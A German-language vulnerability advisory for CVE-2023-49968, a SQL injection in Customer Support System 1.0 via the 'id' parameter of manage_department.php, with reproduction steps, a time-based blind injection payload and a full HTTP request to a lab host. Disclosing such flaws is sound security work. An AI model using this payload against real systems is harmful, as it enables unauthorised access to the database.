
Customer Support System 1.0 - SQL-Injection-Schwachstelle in manage_department.php über den URL-Parameter "id"
Beschreibung: In Version 1 des Customer Support Systems besteht eine SQL-Injection-Schwachstelle. Ein Angreifer mit böswilliger Absicht kann SQL-Befehle auf der MySQL-Datenbank ausführen, indem er den 'id' URL-Parameter beim Bearbeiten einer Abteilung manipuliert.
Betroffene Produktversion: Customer Support System 1.0
CVE-Autor: Geraldo Alcântara
Datum: 28.11.2023
Bestätigt am: 19.12.2023
CVE: CVE-2023-49968
Getestet auf: Windows
1- Melden Sie sich in der Anwendung an.
2- Navigieren Sie zur Abteilungsbearbeitungsseite, klicken Sie auf den "Action"-Button und wählen Sie "Edit".
3- Der 'id' Parameter wird übergeben, was das Einfügen eines bösartigen Payloads ermöglicht.
Payload: (select*from(select(sleep(5)))a)
GET /customer_support/manage_department.php?id=(select*from(select(sleep(5)))a) HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Entdecker/Credits:
Geraldo Alcântara